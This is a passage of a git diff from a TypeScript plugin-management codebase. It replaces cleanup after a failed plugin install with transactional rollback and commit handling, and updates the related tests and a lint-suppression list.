installed = installManagedPluginSource({ request, snapshot, env: { HOME: home } }); + if (failure === "none") { + await expect(installed).resolves.toMatchObject({ ok: true }); + } else { + await expect(installed).rejects.toBe(conflict); + } + expect(await fs.readFile(path.join(targetDir, "version"), "utf8"), failure).toBe( + failure === "before-commit" ? "1.0.0" : "2.0.0", ); - mocks.applyUninstall.mockImplementation(async (removal: { target: string }) => { - await fs.rm(removal.target, { recursive: true, force: true }); - return { directoryRemoved: true, warnings: [] }; - }); + expect(await fs.readdir(path.join(home, "extensions", ".openclaw-install-backups"))).toEqual( + [], + ); + } + }); - await expect( - installManagedPluginSource({ - request: { source: "npm", spec: packageName, mode: "install" }, - snapshot: installPersistSnapshot(), - env, - }), - ).rejects.toBe(conflict); - - expect(mocks.applyUninstall).toHaveBeenCalledWith({ - target: npmRoot, - cleanup: { kind: "npm", npmRoot, packageName, rootKind: "isolated-project" }, - }); - await expect(fs.access(npmRoot)).rejects.toMatchObject({ code: "ENOENT" }); - }, - ); - - it("never deletes an operator-owned source when link persistence fails", async () => { - const env = { HOME: "/tmp/openclaw-managed-link-conflict-home" }; - const sourcePath = "/tmp/operator-owned-plugin-source"; + it("leaves linked operator source untouched when persistence fails", async () => { + const sourcePath = tempDirs.make("openclaw-managed-link-"); + await fs.writeFile(path.join(sourcePath, "version"), "operator-owned"); const conflict = new Error("config changed during plugin link"); - mocks.pathInstall.mockResolvedValue({ - ok: true, - pluginId: "demo", - targetDir: sourcePath, - version: "1.0.0", - }); - mocks.persistInstall.mockRejectedValue(conflict); - + mocks.install.mockResolvedValue({ ok: true, pluginId: "demo", targetDir: sourcePath }); + mocks.persist.mockRejectedValue(conflict); await expect( installManagedPluginSource({ request: { @@ -189,17 +128,53 @@ describe("managed plugin install compensation", () => { mode: "install", link: true, }, - snapshot: installPersistSnapshot(), - env, - cleanupOnPersistenceFailure: true, + snapshot, }), ).rejects.toBe(conflict); - - expect(mocks.pathInstall).toHaveBeenCalledWith( + expect(mocks.install).toHaveBeenCalledWith( expect.objectContaining({ path: sourcePath, dryRun: true }), ); - expect(mocks.installRecords).not.toHaveBeenCalled(); - expect(mocks.planUninstall).not.toHaveBeenCalled(); - expect(mocks.applyUninstall).not.toHaveBeenCalled(); + expect(await fs.readFile(path.join(sourcePath, "version"), "utf8")).toBe("operator-owned"); }); + + it.each(["rollback", "commit"] as const)( + "reports %s failure without reversing committed state", + async (settlement) => { + const conflict = new Error("config write rejected"); + const settlementError = new Error(`${settlement} failed`); + const transaction = { commit: vi.fn(), rollback: vi.fn() }; + transaction[settlement].mockRejectedValue(settlementError); + mocks.install.mockResolvedValue( + attachPluginInstallTransaction( + { ok: true, pluginId: "demo", targetDir: "/managed/demo" }, + transaction, + ), + ); + mocks.persist.mockImplementation(async (params: { onCommitted?: () => void }) => { + if (settlement === "rollback") { + throw conflict; + } + params.onCommitted?.(); + return {}; + }); + const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + const installed = installManagedPluginSource({ + request: { source: "local", path: "/incoming", recordSource: "path", mode: "update" }, + snapshot, + runtime, + }); + if (settlement === "rollback") { + await expect(installed).rejects.toMatchObject({ + cause: settlementError, + errors: [conflict, settlementError], + }); + expect(transaction.commit).not.toHaveBeenCalled(); + } else { + const warning = "Plugin install committed, but backup cleanup failed. Restart is required."; + await expect(installed).resolves.toMatchObject({ ok: true, warnings: [warning] }); + expect(runtime.log).toHaveBeenCalledWith(warning); + expect(transaction.rollback).not.toHaveBeenCalled(); + } + }, + ); }); diff --git a/src/plugins/management-service.test.ts b/src/plugins/management-service.test.ts index d18a9325c690..e56091c5a4d2 100644 --- a/src/plugins/management-service.test.ts +++ b/src/plugins/management-service.test.ts @@ -773,109 +773,6 @@ describe("plugin management service", () => { }); }); - it("removes only the newly installed managed target after persistence conflicts", async () => { - const env = { HOME: "/tmp/openclaw-managed-install-conflict-home" }; - const conflict = new Error("config changed during plugin install"); - const targetDir = "/tmp/extensions/demo"; - mocks.readConfig.mockResolvedValue(configSnapshot()); - mockClawHubInstall("demo", "community/demo", targetDir); - mocks.persistInstall.mockRejectedValue(conflict); - mocks.planUninstall.mockReturnValue({ - ok: true, - config: {}, - pluginId: "demo", - actions: {}, - directoryRemoval: { target: targetDir }, - }); - - await expect( - installManagedPlugin({ - request: { source: "clawhub", packageName: "community/demo" }, - env, - }), - ).rejects.toBe(conflict); - expect(mocks.planUninstall.mock.calls[0]?.[0]).toMatchObject({ - config: { - plugins: { - installs: { - demo: expect.objectContaining({ - source: "clawhub", - spec: "clawhub:community/demo", - installPath: targetDir, - }), - }, - }, - }, - pluginId: "demo", - deleteFiles: true, - }); - expect(mocks.applyUninstall).toHaveBeenCalledWith({ target: targetDir }); - }); - - it("retains a failed install target when the durable record already owns it", async () => { - const env = { HOME: "/tmp/openclaw-managed-install-committed-home" }; - const persistenceError = new Error("post-commit refresh failed"); - const targetDir = "/tmp/openclaw-managed-install-committed-home/extensions/demo"; - mocks.readConfig.mockResolvedValue(configSnapshot()); - mockClawHubInstall("demo", "community/demo", targetDir); - let committedInstallRecords: Record = {}; - mocks.persistInstall.mockImplementation(async () => { - committedInstallRecords = { demo: { source: "clawhub", installPath: targetDir } }; - throw persistenceError; - }); - mocks.installRecords.mockImplementation(async (options?: { env?: NodeJS.ProcessEnv }) => - options?.env === env ? committedInstallRecords : {}, - ); - mocks.planUninstall.mockReturnValue({ - ok: true, - config: {}, - pluginId: "demo", - actions: {}, - directoryRemoval: { target: targetDir }, - }); - - await expect( - installManagedPlugin({ - request: { source: "clawhub", packageName: "community/demo" }, - env, - }), - ).rejects.toMatchObject({ - message: "post-commit refresh failed", - warning: expect.stringContaining("retained the managed target"), - cause: persistenceError, - }); - expect(mocks.installRecords).toHaveBeenCalledWith({ env }); - expect(committedInstallRecords.demo?.installPath).toBe(targetDir); - expect(mocks.planUninstall).not.toHaveBeenCalled(); - expect(mocks.applyUninstall).not.toHaveBeenCalled(); - }); - - it("retains a failed install target when its durable records cannot be verified", async () => { - const env = { HOME: "/tmp/openclaw-managed-install-unavailable-home" }; - const persistenceError = new Error("post-commit refresh failed"); - const targetDir = "/tmp/openclaw-managed-install-unavailable-home/extensions/demo"; - mocks.readConfig.mockResolvedValue(configSnapshot()); - mockClawHubInstall("demo", "community/demo", targetDir); - mocks.persistInstall.mockRejectedValue(persistenceError); - mocks.installRecords.mockRejectedValue(new Error("durable index unavailable")); - - await expect( - installManagedPlugin({ - request: { source: "clawhub", packageName: "community/demo" }, - env, - }), - ).rejects.toMatchObject({ - message: "post-commit refresh failed", - warning: expect.stringContaining( - "Could not verify whether the failed plugin install was committed", - ), - cause: persistenceError, - }); - expect(mocks.installRecords).toHaveBeenCalledWith({ env }); - expect(mocks.planUninstall).not.toHaveBeenCalled(); - expect(mocks.applyUninstall).not.toHaveBeenCalled(); - }); - it("serializes install and enable mutations through one Gateway lock", async () => { let releasePersist: ((config: Record) => void) | undefined; const heldPersist = new Promise>((resolve) => { diff --git a/src/plugins/management-service.ts b/src/plugins/management-service.ts index a147ade3225e..519ae9bc845e 100644 --- a/src/plugins/management-service.ts +++ b/src/plugins/management-service.ts @@ -1,5 +1,4 @@ // Structured plugin catalog and lifecycle operations shared by Gateway-facing surfaces. -import path from "node:path"; import { asSafeIntegerInRange } from "@openclaw/normalization-core/number-coercion"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; import { uniqueStrings } from "@openclaw/normalization-core/string-normalization"; @@ -49,6 +48,11 @@ import { import { commitPluginInstallRecordsWithConfig } from "./install-record-commit.js"; import type { InstallSafetyOverrides } from "./install-security-scan.js"; import type { InstallPolicyWarningDetails } from "./install-security-scan.types.js"; +import { + requestDeferredPluginInstall, + resolvePluginInstallTransaction, + type PluginInstallTransaction, +} from "./install-transaction.js"; import { isUnavailableNpmTarget, PLUGIN_INSTALL_ERROR_CODE, @@ -102,7 +106,6 @@ import { } from "./status-dependencies-core.js"; import { setPluginEnabledInConfig } from "./toggle-config.js"; import { collectClawPluginUninstallWarnings } from "./uninstall-claw-references.js"; -import { isUninstallPathInsideOrEqual } from "./uninstall-config.js"; import { prepareConfigForPendingPluginDirectoryRemovalSet, recordPluginPackageUninstallPlan, @@ -1105,131 +1108,54 @@ function throwInstallFailure(result: { }); } -function installRecordOwnsTarget( - record: PluginInstallRecord | undefined, - targetDir: string, -): boolean { - return Boolean( - record?.installPath && path.resolve(record.installPath) === path.resolve(targetDir), - ); -} - -async function cleanupFailedManagedPluginInstall(params: { - env: NodeJS.ProcessEnv; - pluginId: string; - install: PluginInstallRecord; - targetDir: string; - extensionsDir: string; -}): Promise { - let installRecords: Record; - try { - installRecords = await loadInstalledPluginIndexInstallRecords({ env: params.env }); - } catch (error) { - return [ - `Could not verify whether the failed plugin install was committed; retained ${params.targetDir}: ${formatErrorMessage(error)}`, - ]; - } - if (installRecordOwnsTarget(installRecords[params.pluginId], params.targetDir)) { - return [ - `Plugin install persistence reported an error after ${params.targetDir} was recorded; retained the managed target.`, - ]; - } - - const plan = planPluginUninstall( - recordPluginPackageUninstallPlan( - { - config: { - plugins: { installs: { [params.pluginId]: params.install } }, - }, - pluginId: params.pluginId, - deleteFiles: true, - extensionsDir: params.extensionsDir, - }, - { runtimePluginIds: [] }, - ), - ); - if (!plan.ok) { - return [`Could not plan cleanup for failed plugin install: ${plan.error}`]; - } - if (!plan.directoryRemoval) { - return [ - `Could not resolve a managed cleanup target for failed plugin install ${params.pluginId}.`, - ]; - } - const plannedTarget = path.resolve(plan.directoryRemoval.target); - const installedTarget = path.resolve(params.targetDir); - const removesIsolatedNpmProject = - plan.directoryRemoval.cleanup?.kind === "npm" && - plannedTarget === path.resolve(plan.directoryRemoval.cleanup.npmRoot) && - isUninstallPathInsideOrEqual(plannedTarget, installedTarget); - if (plannedTarget !== installedTarget && !removesIsolatedNpmProject) { - return [ - `Refused cleanup for failed plugin install ${params.pluginId}: planned target does not match the newly installed target.`, - ]; - } - try { - const cleanup = await applyPluginUninstallDirectoryRemoval(plan.directoryRemoval); - return cleanup.warnings; - } catch (error) { - return [ - `Failed to remove the newly installed target after plugin persistence failed: ${formatErrorMessage(error)}`, - ]; - } -} - -function throwPersistenceFailureWithCleanupWarnings(error: unknown, warnings: string[]): never { - if (warnings.length === 0) { - throw error; - } - const cleanupWarning = [...new Set(warnings)].join("\n"); - if (error instanceof ManagedPluginLifecycleError) { - throw new ManagedPluginLifecycleError(error.message, { - kind: error.kind, - code: error.code, - version: error.version, - warning: [error.warning, cleanupWarning].filter(Boolean).join("\n"), - installPolicyWarning: error.installPolicyWarning, - cause: error, - }); - } - throw new ManagedPluginLifecycleError(formatErrorMessage(error), { - kind: "unavailable", - warning: cleanupWarning, - cause: error, - }); -} - async function persistManagedSourceInstall(params: { - env: NodeJS.ProcessEnv; snapshot: ConfigSnapshotForInstallPersist; pluginId: string; install: PluginInstallRecord; - targetDir: string; - extensionsDir: string; + transaction?: PluginInstallTransaction; invalidateRuntimeCache?: boolean; runtime?: RuntimeEnv; successMessage?: string; - cleanupOnPersistenceFailure?: boolean; }): Promise<{ config: OpenClawConfig; warnings: string[] }> { const warnings: string[] = []; - const persist = () => - persistPluginInstall({ + let committed = false; + try { + const config = await persistPluginInstall({ snapshot: params.snapshot, pluginId: params.pluginId, install: params.install, invalidateRuntimeCache: params.invalidateRuntimeCache, runtime: params.runtime, persistenceLogger: { warn: (message) => warnings.push(message) }, + // Only the persistence owner can distinguish rejection from a late refresh failure. + onCommitted: () => { + committed = true; + }, ...(params.successMessage ? { successMessage: params.successMessage } : {}), }); - if (!params.cleanupOnPersistenceFailure) { - return { config: await persist(), warnings }; - } - try { - return { config: await persist(), warnings }; + return { config, warnings }; } catch (error) { - const cleanupWarnings = await cleanupFailedManagedPluginInstall(params); - return throwPersistenceFailureWithCleanupWarnings(error, cleanupWarnings); + if (!committed) { + try { + await params.transaction?.rollback(); + } catch (rollbackError) { + // oxlint-disable-next-line preserve-caught-error -- Oxlint 1.78 ignores AggregateError's third-argument cause. + throw new AggregateError( + [error, rollbackError], + "Plugin install failed and payload rollback failed", + { cause: rollbackError }, + ); + } + } + throw error; + } finally { + if (committed) { + await params.transaction?.commit().catch(() => { + const warning = "Plugin install committed, but backup cleanup failed. Restart is required."; + warnings.push(warning); + params.runtime?.log(warning); + }); + } } } @@ -1293,7 +1219,6 @@ type ManagedPluginSourceInstallParams = { safetyOverrides?: InstallSafetyOverrides; runtime?: RuntimeEnv; invalidateRuntimeCache?: boolean; - cleanupOnPersistenceFailure?: boolean; }; /** @@ -1362,18 +1287,17 @@ async function installResolvedManagedPluginSource( }; } - const common = { + const common = requestDeferredPluginInstall({ ...params.safetyOverrides, config: params.snapshot.config, extensionsDir, logger: params.logger, - }; + }); const complete = async ( installResult: Promise, completed: { install: (result: Extract) => PluginInstallRecord; expectedPluginId?: string; - targetDir?: string; snapshot?: ConfigSnapshotForInstallPersist; successMessage?: string; }, @@ -1386,28 +1310,20 @@ async function installResolvedManagedPluginSource( pluginId: string; targetDir: string; }; + const transaction = resolvePluginInstallTransaction(installed); if (completed.expectedPluginId && installed.pluginId !== completed.expectedPluginId) { + await transaction?.rollback(); return { ok: false as const, error: `official catalog plugin id mismatch: expected ${completed.expectedPluginId}, got ${installed.pluginId}`, }; } - const targetDir = completed.targetDir ?? installed.targetDir; - // Links point at operator-owned source directories. Every published managed - // payload defaults to compensation, but link persistence never deletes source. - const cleanupOnPersistenceFailure = - request.source === "local" && request.link - ? false - : (params.cleanupOnPersistenceFailure ?? true); const persisted = await persistManagedSourceInstall({ ...params, - cleanupOnPersistenceFailure, - env, snapshot: completed.snapshot ?? params.snapshot, pluginId: installed.pluginId, install: completed.install(installed), - targetDir, - extensionsDir, + transaction, successMessage: completed.successMessage, }); return { @@ -1446,7 +1362,6 @@ async function installResolvedManagedPluginSource( }), { snapshot: linkedSnapshot, - targetDir: installPath, successMessage: request.successMessage, install: (result) => ({ source: request.recordSource, @@ -1664,7 +1579,6 @@ export async function installManagedPlugin(params: { }, } : {}), - cleanupOnPersistenceFailure: true, invalidateRuntimeCache: false, runtime: createSilentRuntime(), }); diff --git a/test/scripts/lint-suppressions.test.ts b/test/scripts/lint-suppressions.test.ts index 9bcfe9366ad0..fd48ca262407 100644 --- a/test/scripts/lint-suppressions.test.ts +++ b/test/scripts/lint-suppressions.test.ts @@ -228,6 +228,7 @@ describe("production lint suppressions", () => { "src/plugins/hooks.ts|typescript/no-unnecessary-type-parameters|1", "src/plugins/host-hooks.ts|typescript/no-unnecessary-type-parameters|1", "src/plugins/lazy-service-module.ts|typescript/no-unnecessary-type-parameters|1", + "src/plugins/management-service.ts|preserve-caught-error|1", "src/plugins/public-surface-loader.ts|typescript/no-unnecessary-type-parameters|3", "src/plugins/runtime/runtime-plugin-boundary.ts|typescript/no-unnecessary-type-parameters|1", "src/plugins/runtime/types-channel.ts|typescript/no-unnecessary-type-parameters|1",